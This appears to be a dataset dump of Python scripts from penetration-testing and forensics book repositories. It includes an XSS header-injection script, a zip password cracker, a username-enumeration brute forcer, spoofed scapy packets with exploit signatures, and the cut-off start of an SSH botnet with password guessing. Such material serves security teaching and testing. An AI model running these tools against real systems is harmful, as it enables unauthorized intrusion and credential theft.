repo_name
stringclasses
29 values
text
stringlengths
18
367k
avg_line_length
float64
5.6
132
max_line_length
int64
11
3.7k
alphnanum_fraction
float64
0.28
0.94
cybersecurity-penetration-testing
import requests import sys url = sys.argv[1] payload = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>'] headers ={} r = requests.head(url) for payload in payloads: for header in r.headers: headers[header] = payload req = requests.post(url, headers=headers)
27.636364
108
0.697452
Mastering-Machine-Learning-for-Penetration-Testing
# Display "Hello, world!" import tensorflow as tf Message = tf.constant("Hello, world!") sess = tf.Session() print(sess.run(Message))
21.5
38
0.716418
Effective-Python-Penetration-Testing
import zipfile filename = 'test.zip' dictionary = 'passwordlist.txt' password = None file_to_open = zipfile.ZipFile(filename) with open(dictionary, 'r') as f: for line in f.readlines(): password = line.strip('\n') try: file_to_open.extractall(pwd=password) password = 'Password found: %s' % password print password except: pass
20.8125
45
0.698276
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher Duffy Date: April 2015 tftp_download.py Purpose: To run through a range of possible files and try and download them over TFTP. Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' try: import tftpy except: sys.exit(“[!] Install the package tftpy with: pip install tftpy”) def main(): ip = "192.168.195.165" port = 69 tclient = tftpy.TftpClient(ip,port) for inc in range(0,100): filename = "example_router" + "-" + str(inc) print("[*] Attempting to download %s from %s:%s") % (filename,ip,port) try: tclient.download(filename,filename) except: print("[-] Failed to download %s from %s:%s") % (filename,ip,port) if __name__ == '__main__': main()
44.625
89
0.742348
Effective-Python-Penetration-Testing
# Importing required modules import requests from bs4 import BeautifulSoup import urlparse response = requests.get('http://www.freeimages.co.uk/galleries/food/breakfast/index.htm') parse = BeautifulSoup(response.text) # Get all image tags image_tags = parse.find_all('img') # Get urls to the images images = [ url.get('src') for url in image_tags] # If no images found in the page if not images: sys.exit("Found No Images") # Convert relative urls to absolute urls if any images = [urlparse.urljoin(response.url, url) for url in images] print 'Found %s images' % len(images) # Download images to downloaded folder for url in images: r = requests.get(url) f = open('downloaded/%s' % url.split('/')[-1], 'w') f.write(r.content) f.close() print 'Downloaded %s' % url
24.28125
91
0.694307
cybersecurity-penetration-testing
''' Copyright (c) 2016 Chet Hosmer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. Script Purpose: Forensic File Processing, Hashing and Image Rendering Script Version: 1.0 Script Author: C.Hosmer Script Revision History: Version 1.0 March 2016 ''' # Script Module Importing # Python Standard Library Modules import os # Operating/Filesystem Module import time # Basic Time Module import logging # Script Logging import hashlib # Cryptographic Hashing import argparse # Command Line Processing Module # Import 3rd Party Modules from PIL import Image # End of Script Module Importing # Script Constants ''' Python does not support constants directly however, by initializing variables here and specifying them as UPPER_CASE you can make your intent known ''' # General Constants SCRIPT_NAME = "Script: Forensic Script Two SRC-2-2.py" SCRIPT_VERSION = "Version 1.0" SCRIPT_AUTHOR = "Author: C. Hosmer, Python Forensics" SCRIPT_LOG = "./FORENSIC_LOG.txt" # LOG Constants used as input to LogEvent Function LOG_DEBUG = 0 # Debugging Event LOG_INFO = 1 # Information Event LOG_WARN = 2 # Warning Event LOG_ERR = 3 # Error Event LOG_CRIT = 4 # Critical Event LOG_OVERWRITE = True # Set this contstant to True if the SCRIPT_LOG # should be overwritten, False if not # End of Script Constants # Initialize the Forensic Log try: # If LOG should be overwritten before # each run, the remove the old log if LOG_OVERWRITE: # Verify that the log exists before removing if os.path.exists(SCRIPT_LOG): os.remove(SCRIPT_LOG) # Initialize the Log include the Level and message logging.basicConfig(filename=SCRIPT_LOG, format='%(levelname)s\t:%(message)s', level=logging.DEBUG) except: print "Failed to initialize Logging" quit() # End of Forensic Log Initialization # Script Functions ''' If you script will contain functions then insert them here, before the execution of the main script. This will ensure that the functions will be callable from anywhere in your script ''' # Function: GetTime() # # Returns a string containing the current time # # Script will use the local system clock, time, date and timezone # to calcuate the current time. Thus you should sync your system # clock before using this script # # Input: timeStyle = 'UTC', 'LOCAL', the function will default to # UTC Time if you pass in nothing. def GetTime(timeStyle = "UTC"): if timeStyle == 'UTC': return ('UTC Time: ', time.asctime(time.gmtime(time.time()))) else: return ('LOC Time: ', time.asctime(time.localtime(time.time()))) # End GetTime Function ============================ # Function: LogEvent() # # Logs the event message and specified type # Input: # eventType: LOG_INFO, LOG_WARN, LOG_ERR, LOG_CRIT or LOG_DEBUG # eventMessage : string containing the message to be logged def LogEvent(eventType, eventMessage): if type(eventMessage) == str: try: timeStr = GetTime('UTC') # Combine current Time with the eventMessage # You can specify either 'UTC' or 'LOCAL' # Based on the GetTime parameter eventMessage = str(timeStr)+": "+eventMessage if eventType == LOG_INFO: logging.info(eventMessage) elif eventType == LOG_DEBUG: logging.debug(eventMessage) elif eventType == LOG_WARN: logging.warning(eventMessage) elif eventType == LOG_ERR: logging.error(eventMessage) elif eventType == LOG_CRIT: logging.critical(eventMessage) else: logging.info(eventMessage) except: print "Event Logging Failed" else: logging.warn('Received invalid event message') # End LogEvent Function ========================= # # Name: ParseCommandLine() Function # # Process and Validate the command line arguments # using the Python Standard Library module argparse # # Input: none # # Return: validated filePath and hashType # or generate a detailed error def ParseCommandLine(): parser = argparse.ArgumentParser(SCRIPT_NAME) parser.add_argument('-p', '--scanPath', type= ValPath, required=True, help="specifies the file path to scan") parser.add_argument('-t', '--hashType', type= ValHash, required=True, help="enter hashType MD5, SHA1, SH224, SHA256, SHA384 or SHA512") theArgs = parser.parse_args() return theArgs.scanPath, theArgs.hashType # End ParseCommandLine ============================ # # Name: ValidatePath Function # # Function validates validate a directory path # exists and readable. Used for argument validation only # # Input: a directory path string # # Returns the validated directory # or raises command line errors # def ValPath(thePath): # Validate the path is a directory if not os.path.isdir(thePath): raise argparse.ArgumentTypeError('Path does not exist') # Validate the path is readable if os.access(thePath, os.R_OK): return thePath else: raise argparse.ArgumentTypeError('Path is not readable') #End ValidateDirectory =================================== # # Name: ValHash Type Function # # Function validates the entered hash string # # Input: HashType # # Returns the validated hashType upper case # or raises command line errors # def ValHash(theAlg): theAlg = theAlg.upper() if theAlg in ['MD5', 'SHA1', 'SHA224', 'SHA256', 'SHA384', 'SHA512']: return theAlg else: raise argparse.ArgumentTypeError('Invalid Hash Type Specified') #End ValHash =============================== # End of Script Functions # Script Classes # Class: FileExaminer Class # # Desc: Handles basic File Based Examination # Methods constructor: Initializes the Forensic File Object and Collects Basic Attributes # File Size # MAC Times # Reads file into a buffer # hashFile: Generates the selected one-way hash of the file # destructor: Deletes the Forensic File Object class FileExaminer: # Constructor def __init__(self, theFile): #Attributes of the Object self.lastError = "OK" # Modified Access Create Time self.mactimes = ["","",""] filename, self.fileExtension = os.path.splitext(theFile) # File Status Data self.filePath = theFile self.mode = 0 self.fileSize = 0 self.fileType = "unknown" self.uid = 0 self.gid = 0 self.mountPoint = False self.fileRead = False # Possible Hashes self.md5 = "" self.sha1 = "" self.sha224 = "" self.sha256 = "" self.sha384 = "" self.sha512 = "" self.lastHash = "" # Image data (if file is and image) self.imageHeight = 0 self.imageWidth = 0 self.imageFormat = '' self.imageFormatDesc = '' self.imageExif = '' try: if os.path.exists(theFile): # get the file statistics theFileStat = os.stat(theFile) # get the MAC Times and store them in a list self.macTimes = [] self.macTimes.append(time.ctime(theFileStat.st_mtime)) self.macTimes.append(time.ctime(theFileStat.st_atime)) self.macTimes.append(time.ctime(theFileStat.st_ctime)) self.mode = theFileStat.st_mode # get and store the File size self.fileSize = theFileStat.st_size # Get and store the ownership information self.uid = theFileStat.st_uid self.gid = theFileStat.st_gid if os.path.isfile(theFile): self.fileType = "File" # Is this a real file? elif os.path.islink(theFile): self.fileType = "Link" # Is This filename actually a directory? elif os.path.isdir(theFile): self.fileType = "Directory" else: self.fileType = "Unknown" # Is the pathname a mount point? if os.path.ismount(theFile): self.mountPoint = True else: self.mountPoint = False # Is the file Accessible for Read? if os.access(theFile, os.R_OK) and self.fileType == "File": # Open the file fp = open(theFile, 'rb') # Assume we have enough space self.buffer = fp.read() # Close the file we have the entire file in memory fp.close() self.fileRead = True else: self.fileRead = False else: self.lastError = "File does not exist" except: self.lastError = "File Exception Raised" LogEvent(LOG_ERR, "File Examiner - Failed to Process File: " + theFile) # Hash file method def hashFile(self,hashType): try: if hashType == "MD5": hashObj = hashlib.md5() hashObj.update(self.buffer) self.lastHash = hashObj.hexdigest().upper() self.md5 = self.lastHash self.lastHash self.lastError = "OK" return True elif hashType == "SHA1": hashObj = hashlib.sha1() hashObj.update(self.buffer) self.lastHash = hashObj.hexdigest().upper() self.sha1 = self.lastHash self.lastError = "OK" return True if hashType == "SHA224": hashObj = hashlib.sha224() hashObj.update(self.buffer) self.lastHash = hashObj.hexdigest().upper() self.sha224 = self.lastHash self.lastError = "OK" return True elif hashType == "SHA256": hashObj = hashlib.sha256() hashObj.update(self.buffer) self.lastHash = hashObj.hexdigest().upper() self.sha256 = self.lastHash self.lastError = "OK" return True if hashType == "SHA384": hashObj = hashlib.sha384() hashObj.update(self.buffer) self.lastHash = hashObj.hexdigest().upper() self.sha384 = self.lastHash self.lastError = "OK" return True elif hashType == "SHA512": hashObj = hashlib.sha512() hashObj.update(self.buffer) self.lastHash = hashObj.hexdigest().upper() self.sha512 = self.lastHash self.lastError = "OK" return True else: self.lastError = "Invalid Hash Type Specified" return False except: self.lastError = "File Hash Failure" LogEvent(LOG_ERR, "File Hashing - Failed to Hash File") return False def ExtractImageProperties(self): try: image = Image.open(self.filePath) self.imageHeight = image.height self.imageWidth = image.width self.imageFormat = image.format self.imageFormatDesc = image.format_description if self.imageFormat == 'JPEG': self.imageExif = image._getexif() return True except: self.lastError = "Error Processing Image Data" LogEvent(LOG_ERR, "Error Processing Image Data") return False def __del__(self): print # End Forensic File Class ==================================== # End of Script Classes # Main Script Starts Here # # Script Overview # # The purpose of this script it to provide an example # script that demonstrate and leverage key capabilities # of Python that provides direct value to the # forensic investigator. # This script will perform the following: # # 1) Process the command line and obtain the filePath and hashType # 2) The file names will be stored in a Python List object # 3) for each file encountered meta-data will be extracted # and each file will be hashed with the selected algorithm. # the results will be written to the log file. LogEvent(LOG_INFO, SCRIPT_NAME) LogEvent(LOG_INFO, SCRIPT_VERSION) LogEvent(LOG_INFO, "Script Started") # Print Basic Script Information print SCRIPT_NAME print SCRIPT_VERSION print SCRIPT_AUTHOR utcTime = GetTime() print "Script Started: ", utcTime print # # STEP One: # Parse the Command Line Arguments # thePath, theAlg = ParseCommandLine() print "Path Selected: ", thePath LogEvent(LOG_INFO, "Path Selected: "+thePath) print "Algorithm Selected:", theAlg LogEvent(LOG_INFO,"Algorithm Selected: "+ theAlg) # # Step Two extract a list of filenames # from the path specified # listOfFiles = os.listdir(thePath) # # Step Three Extract the basic metadata and # specified file hash of the each file # using the FileExaminer Class # for eachFile in listOfFiles: # Utilize a try except loop in case encounter # Errors during file processing try: # join the path and file name fullPath = os.path.join(thePath, eachFile) # create a file examiner object feObj = FileExaminer(fullPath) # generate the specified hash if feObj.hashFile(theAlg): print "Hashing Success" else: print "Hashing Failed" # Extract image properties if file is an image if feObj.ExtractImageProperties(): imageData = True print "Image Properties Extracted" else: imageData = False print "Image Property Extraction Failed" LogEvent(LOG_INFO, "============================================") LogEvent(LOG_INFO, "File Processed: "+ fullPath) LogEvent(LOG_INFO, "File Extension: "+ feObj.fileExtension) LogEvent(LOG_INFO, "File Modified: "+ feObj.macTimes[0]) LogEvent(LOG_INFO, "File Accessed: "+ feObj.macTimes[1]) LogEvent(LOG_INFO, "File Created: "+ feObj.macTimes[2]) LogEvent(LOG_INFO, "File Size: "+ str(feObj.fileSize)) LogEvent(LOG_INFO, "File Hash: "+ theAlg + ":" + feObj.lastHash) LogEvent(LOG_INFO, "File Owner: "+ str(feObj.uid)) LogEvent(LOG_INFO, "File Group: "+ str(feObj.gid)) LogEvent(LOG_INFO, "File Mode: "+ bin(feObj.mode)) if imageData: LogEvent(LOG_INFO, "Image Format: "+ feObj.imageFormat) LogEvent(LOG_INFO, "Image Format Desc "+ feObj.imageFormatDesc) LogEvent(LOG_INFO, "Image Width Pixels: "+ str(feObj.imageWidth)) LogEvent(LOG_INFO, "Image Height Pixels: "+ str(feObj.imageHeight)) print "==================================================" print "File Processed: ", fullPath print "File Ext: ", feObj.fileExtension print "MAC Times: ", feObj.macTimes print "File Size: ", feObj.fileSize print "File Hash: ", theAlg, feObj.lastHash print "File Owner: ", feObj.uid print "File Group: ", feObj.gid print "File Mode: ", bin(feObj.mode) print if imageData: print "Image Properties" print "Image Format: ", feObj.imageFormat print "Image Format Desc ", feObj.imageFormatDesc print "Image Width Pixels: ", feObj.imageWidth print "Image Height Pixels: ", feObj.imageHeight if feObj.imageFormat == "JPEG": print "Exif Raw Data: ", feObj.imageExif except: print "File Processing Error: ", fullPath LogEvent(LOG_INFO, "File Processing Error: "+ fullPath) print print "Files Processing Completed" LogEvent(LOG_INFO, "Script End") utcTime = GetTime('UTC') print "Script Ended: ", utcTime # End of Script Main
30.707106
143
0.55111
cybersecurity-penetration-testing
#!/usr/bin/python # # Simple script for making "Copy as curl command" output in system's clipboard a little nicer\ # To use it: # - firstly right click on request in BurpSuite # - select "Copy as curl command" # - then launch this script. # As a result, you'll have a bit nicer curl command in your clipboard. # try: import xerox except ImportError: raise ImportError, "`xerox` library not found. Install it using: `pip install xerox`" import re data = xerox.paste() data = re.sub(r"\s+\\\n\s+", ' ', data, re.M) data = re.sub('curl -i -s -k\s+-X', 'curl -iskX', data) if "-iskX 'GET'" in data: data = data.replace("-iskX 'GET'", '') else: data = re.sub(r"-iskX '([^']+)' ", r"-iskX \1 ", data) superfluous_headers = { 'Upgrade-Insecure-Requests':'', 'DNT':'', 'User-Agent':'', 'Content-Type':"application/x-www-form-urlencoded", 'Referer':'', } for k, v in superfluous_headers.items(): val = v if not val: val = "[^']+" rex = r" -H '" + k + ": " + val + "' " m = re.search(rex, data) if m: data = re.sub(rex, ' ', data) data = re.sub(r"'(http[^']+)'$", r'"\1"', data) xerox.copy(data)
24.272727
94
0.612961
Python-Penetration-Testing-for-Developers
import threading import time import socket, subprocess,sys from datetime import datetime import thread import shelve '''section 1 ''' subprocess.call('clear',shell=True) shelf = shelve.open("mohit.raj") data=(shelf['desc']) #shelf.sync() '''section 2 ''' class myThread (threading.Thread): def __init__(self, threadName,rmip,r1,r2,c): threading.Thread.__init__(self) self.threadName = threadName self.rmip = rmip self.r1 = r1 self.r2 = r2 self.c =c def run(self): scantcp(self.threadName,self.rmip,self.r1,self.r2,self.c) '''section 3 ''' def scantcp(threadName,rmip,r1,r2,c): try: for port in range(r1,r2): sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) #sock= socket.socket(socket.AF_INET,socket.SOCK_DGRAM) socket.setdefaulttimeout(c) result = sock.connect_ex((rmip,port)) if result==0: print "Port Open:---->\t", port,"--", data.get(port, "Not in Database") sock.close() except KeyboardInterrupt: print "You stop this " sys.exit() except socket.gaierror: print "Hostname could not be resolved" sys.exit() except socket.error: print "could not connect to server" sys.exit() shelf.close() '''section 4 ''' print "*"*60 print " \tWelcome this is the Port scanner of Mohit\n " d=raw_input("\t Press D for Domain Name or Press I for IP Address\t") if (d=='D' or d=='d'): rmserver = raw_input("\t Enter the Domain Name to scan:\t") rmip = socket.gethostbyname(rmserver) elif(d=='I' or d=='i'): rmip = raw_input("\t Enter the IP Address to scan: ") else: print "Wrong input" #rmip = socket.gethostbyname(rmserver) r11 = int(raw_input("\t Enter the start port number\t")) r21 = int (raw_input("\t Enter the last port number\t")) conect=raw_input("For low connectivity press L and High connectivity Press H\t") if (conect=='L' or conect=='l'): c =1.5 elif(conect =='H' or conect=='h'): c=0.5 else: print "\t wrong Input" print "\n Mohit's Scanner is working on ",rmip print "*"*60 t1= datetime.now() tp=r21-r11 tn =30 # tn number of port handled by one thread tnum=tp/tn # tnum number of threads if (tp%tn != 0): tnum= tnum+1 if (tnum > 300): tn = tp/300 tn= tn+1 tnum=tp/tn if (tp%tn != 0): tnum= tnum+1 '''section 5''' threads= [] try: for i in range(tnum): #print "i is ",i k=i r2=r11+tn # thread=str(i) thread = myThread("T1",rmip,r11,r2,c) thread.start() threads.append(thread) r11=r2 except: print "Error: unable to start thread" print "\t Number of Threads active:", threading.activeCount() for t in threads: t.join() print "Exiting Main Thread" t2= datetime.now() total =t2-t1 print "scanning complete in " , total print "\n*****Thanks for using Mohit's Port Scanner****" print "You can update database file" print "use command python > python updata.py" print "Give feedback to mohitraj.cs@gmail.com"
23.160305
87
0.604298
owtf
""" GREP Plugin for Testing for application configuration management (OWASP-CM-004) <- looks for HTML Comments https://www.owasp.org/index.php/Testing_for_application_configuration_management_%28OWASP-CM-004%29 NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log """ from owtf.plugin.helper import plugin_helper DESCRIPTION = "Searches transaction DB for comments" def run(PluginInfo): regexes = [ "RESPONSE_REGEXP_FOR_HTML_COMMENTS", "RESPONSE_REGEXP_FOR_CSS_JS_COMMENTS", "RESPONSE_REGEXP_FOR_JS_COMMENTS", "RESPONSE_REGEXP_FOR_PHP_SOURCE", "RESPONSE_REGEXP_FOR_ASP_SOURCE", ] Content = plugin_helper.FindResponseBodyMatchesForRegexpNames(regexes) return Content
35.428571
106
0.734293
cybersecurity-penetration-testing
#brute force username enumeration import sys import urllib import urllib2 if len(sys.argv) !=2: print "usage: %s filename" % (sys.argv[0]) sys.exit(0) filename=str(sys.argv[1]) userlist = open(filename,'r') url = "http://www.vulnerablesite.com/forgotpassword.html" foundusers = [] UnknownStr="Username not found" for user in userlist: user=user.rstrip() data = urllib.urlencode({"username":user}) request = urllib2.urlopen(url,data) response = request.read() if(response.find(UnknownStr)>=0) foundusers.append(user) request.close() if len(foundusers)>0: print "Found Users:\n" for name in foundusers: print name+"\n" else: print "No users found\n"
19.484848
57
0.712593
cybersecurity-penetration-testing
''' Copyright (c) 2016 Chet Hosmer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. Script Purpose: Python Template for MPE+ Integration Script Version: 1.0 Script Author: C.Hosmer Script Revision History: Version 1.0 April 2016 ''' # Script Module Importing # Python Standard Library Modules import os # Operating/Filesystem Module from sys import argv # The systems argument vector, in Python this is # a list of elements from the command line # Script Constants ''' Python does not support constants directly however, by initializing variables here and specifying them as UPPER_CASE you can make your intent known ''' # General Constants SCRIPT_NAME = "Script: MPE+ Command Line Arguments" SCRIPT_VERSION = "Version 1.0" SCRIPT_AUTHOR = "Author: C. Hosmer, Python Forensics" SCRIPT_RELEASE = "April 2016" # Print out some basics print(SCRIPT_NAME) print(SCRIPT_AUTHOR) print(SCRIPT_VERSION, SCRIPT_RELEASE) # Obtain the command line arguments using # the system argument vector # For MPE+ Scripts the length of the argument vector is # always 2 scriptName, path if len(argv) == 2: scriptName, path = argv else: print(argv, "Invalid Command line") quit() print("Command Line Argument Vector") print("Script Name: ", scriptName) print("Script Path: ", path) # Verify the path exists and determine # the path type if os.path.exists(path): print("Path Exists") if os.path.isdir(path): print("Path is a directory") elif os.path.isfile(path): print("Path is a file") else: print(path, "is invalid") else: print(path, "Does not exist") print ("Script Complete")
28.141026
103
0.702905
Python-Penetration-Testing-for-Developers
import subprocess import sys ipfile = sys.argv[1] IPs = open(ipfile, "r") output = open("sslscan.csv", "w+") for IP in IPs: try: command = "sslscan "+IP ciphers = subprocess.check_output(command.split()) for line in ciphers.splitlines(): if "Accepted" in line: output.write(IP+","+line.split()[1]+","+line.split()[4]+","+line.split()[2]+"\r") except: pass
18.947368
85
0.632275
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Mastering-Machine-Learning-for-Penetration-Testing
import pandas as pd import yellowbrick as yb from sklearn.model_selection import train_test_split from sklearn import preprocessing from sklearn.ensemble import RandomForestClassifier from sklearn.cross_validation import train_test_split Columns = ["duration","protocol_type","service","flag","src_bytes", "dst_bytes","land","wrong_fragment","urgent","hot","num_failed_logins", "logged_in","num_compromised","root_shell","su_attempted","num_root", "num_file_creations","num_shells","num_access_files","num_outbound_cmds", "is_host_login","is_guest_login","count","srv_count","serror_rate", "srv_serror_rate","rerror_rate","srv_rerror_rate","same_srv_rate", "diff_srv_rate","srv_diff_host_rate","dst_host_count","dst_host_srv_count", "dst_host_same_srv_rate","dst_host_diff_srv_rate","dst_host_same_src_port_rate", "dst_host_srv_diff_host_rate","dst_host_serror_rate","dst_host_srv_serror_rate", "dst_host_rerror_rate","dst_host_srv_rerror_rate","label","difficulty"] Data = pd.read_csv("KDDTrain+.csv", header=None, names = Columns) Data.protocol_type = preprocessing.LabelEncoder().fit_transform(Data["protocol_type"]) Data.service = preprocessing.LabelEncoder().fit_transform(Data["service"]) Data.flag = preprocessing.LabelEncoder().fit_transform(Data["flag"]) Data.label = preprocessing.LabelEncoder().fit_transform(Data["label"]) X = Data[Columns].as_matrix() y = Data.label.as_matrix() X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2) clf = RandomForestClassifier(max_depth=2, random_state=0) clf.fit(X, y) Score = clf.score(X_test,y_test) print(Score*100)
42
86
0.720147
Python-Penetration-Testing-for-Developers
import socket import struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "192.168.0.1" port =12347 s.connect((host,port)) msg= s.recv(1024) print msg print struct.unpack('hhl',msg) s.close()
19.8
53
0.729469
Mastering-Machine-Learning-for-Penetration-Testing
import pandas as pd import numpy as np data = np.array(['p','a','c','k',’t’]) SR = pd.Series(data) print SR
17.166667
38
0.62963
owtf
""" owtf.utils.commands ~~~~~~~~~~~~~~~~~~~ """ import os def get_command(argv): """Format command to remove directory and space-separated arguments. :params list argv: Arguments for the CLI. :return: Arguments without directory and space-separated arguments. :rtype: list """ return " ".join(argv).replace(argv[0], os.path.basename(argv[0]))
17.75
72
0.644385
cybersecurity-penetration-testing
import optparse from scapy.all import * from random import randint def ddosTest(src, dst, iface, count): pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234') send(pkt, iface=iface, count=count) pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA') send(pkt, iface=iface, count=count) pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG') send(pkt, iface=iface, count=count) pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456) send(pkt, iface=iface, count=count) def exploitTest(src, dst, iface, count): pkt = IP(src=src, dst=dst) / UDP(dport=518) \ /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8") send(pkt, iface=iface, count=count) pkt = IP(src=src, dst=dst) / UDP(dport=635) \ /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F") send(pkt, iface=iface, count=count) def scanTest(src, dst, iface, count): pkt = IP(src=src, dst=dst) / UDP(dport=7) \ /Raw(load='cybercop') send(pkt) pkt = IP(src=src, dst=dst) / UDP(dport=10080) \ /Raw(load='Amanda') send(pkt, iface=iface, count=count) def main(): parser = optparse.OptionParser('usage %prog '+\ '-i <iface> -s <src> -t <target> -c <count>' ) parser.add_option('-i', dest='iface', type='string',\ help='specify network interface') parser.add_option('-s', dest='src', type='string',\ help='specify source address') parser.add_option('-t', dest='tgt', type='string',\ help='specify target address') parser.add_option('-c', dest='count', type='int',\ help='specify packet count') (options, args) = parser.parse_args() if options.iface == None: iface = 'eth0' else: iface = options.iface if options.src == None: src = '.'.join([str(randint(1,254)) for x in range(4)]) else: src = options.src if options.tgt == None: print parser.usage exit(0) else: dst = options.tgt if options.count == None: count = 1 else: count = options.count ddosTest(src, dst, iface, count) exploitTest(src, dst, iface, count) scanTest(src, dst, iface, count) if __name__ == '__main__': main()
27.135802
65
0.588235
owtf
""" owtf.models.error ~~~~~~~~~~~~~~~~~ """ from owtf.lib.exceptions import InvalidErrorReference from sqlalchemy import Boolean, Column, Integer, String from owtf.db.model_base import Model from owtf.db.session import flush_transaction class Error(Model): __tablename__ = "errors" id = Column(Integer, primary_key=True) owtf_message = Column(String) traceback = Column(String, nullable=True) user_message = Column(String, nullable=True) reported = Column(Boolean, default=False) github_issue_url = Column(String, nullable=True) def __repr__(self): return "<Error (traceback='{!s}')>".format(self.traceback) @classmethod def add_error(cls, session, message, trace): obj = Error(owtf_message=message, traceback=trace) session.add(obj) session.commit() return obj.to_dict() @classmethod def get_error(cls, session, error_id): error = session.query(Error).get(error_id) if not error: # If invalid error id, bail out raise InvalidErrorReference("No error with id {!s}".format(error_id)) return error.to_dict() @classmethod def delete_error(cls, session, id): error = session.query(cls).get(id) if error: session.delete(error) session.commit() else: raise InvalidErrorReference("No error with id {!s}".format(id)) def to_dict(self): obj = dict(self.__dict__) obj.pop("_sa_instance_state", None) return obj @classmethod def get_all_dict(cls, session): errors = session.query(Error).all() result = [] for err in errors: result.append(err.to_dict()) return result @classmethod def update_error(cls, session, error_id, user_message): obj = session.query(Error).filter(id=error_id) if not obj: # If invalid error id, bail out raise InvalidErrorReference("No error with id {!s}".format(error_id)) obj.user_message = user_message session.merge(obj) session.commit()
29.014286
81
0.619524
cybersecurity-penetration-testing
# Transposition Cipher Encrypt/Decrypt File # http://inventwithpython.com/hacking (BSD Licensed) import time, os, sys, transpositionEncrypt, transpositionDecrypt def main(): inputFilename = 'frankenstein.txt' # BE CAREFUL! If a file with the outputFilename name already exists, # this program will overwrite that file. outputFilename = 'frankenstein.encrypted.txt' myKey = 10 myMode = 'encrypt' # set to 'encrypt' or 'decrypt' # If the input file does not exist, then the program terminates early. if not os.path.exists(inputFilename): print('The file %s does not exist. Quitting...' % (inputFilename)) sys.exit() # If the output file already exists, give the user a chance to quit. if os.path.exists(outputFilename): print('This will overwrite the file %s. (C)ontinue or (Q)uit?' % (outputFilename)) response = input('> ') if not response.lower().startswith('c'): sys.exit() # Read in the message from the input file fileObj = open(inputFilename) content = fileObj.read() fileObj.close() print('%sing...' % (myMode.title())) # Measure how long the encryption/decryption takes. startTime = time.time() if myMode == 'encrypt': translated = transpositionEncrypt.encryptMessage(myKey, content) elif myMode == 'decrypt': translated = transpositionDecrypt.decryptMessage(myKey, content) totalTime = round(time.time() - startTime, 2) print('%sion time: %s seconds' % (myMode.title(), totalTime)) # Write out the translated message to the output file. outputFileObj = open(outputFilename, 'w') outputFileObj.write(translated) outputFileObj.close() print('Done %sing %s (%s characters).' % (myMode, inputFilename, len(content))) print('%sed file is %s.' % (myMode.title(), outputFilename)) # If transpositionCipherFile.py is run (instead of imported as a module) # call the main() function. if __name__ == '__main__': main()
37.166667
91
0.653398
Ethical-Hacking-Scripts
import paramiko, socket, threading, sys, os from optparse import OptionParser class SSH_Botnet: def __init__(self, passw_txt, capture_output): self.pass_list = passw_txt self.cwd = os.getcwd() self.passwords = self.configure_passwords() self.ssh_bots = [] self.ips = [] self.logo() self.usage() self.display_bots = [] try: self.capture_output = bool(capture_output) except: self.capture_output = False self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.instructor = threading.Thread(target=self.instruct) self.instructor.start() self.ssh_botlist = [] def logo(self): print(""" _____ _ _ _ _ _ _____ _____ _ _ ___ ___ / ____| (_) | | \ | | | | / ____/ ____| | | | |__ \ / _ \ | (___ __ _ _ _ _ __| | \| | ___| |_| (___| (___ | |__| | __ __ ) || | | | \___ \ / _` | | | | |/ _` | . ` |/ _ \ __|\___ \___ \| __ | \ \ / // / | | | | ____) | (_| | |_| | | (_| | |\ | __/ |_ ____) |___) | | | | \ V // /_ | |_| | |_____/ \__, |\__,_|_|\__,_|_| \_|\___|\__|_____/_____/|_| |_| \_/|____(_)___/ | | |_| SSH-Botnet By DrSquid """) def usage(self): print(""" [+] !help - Displays All Commands [+] !login [ip] [user] [pass] - Attempts to Log into the ip with the user with the provided password. [+] !infect 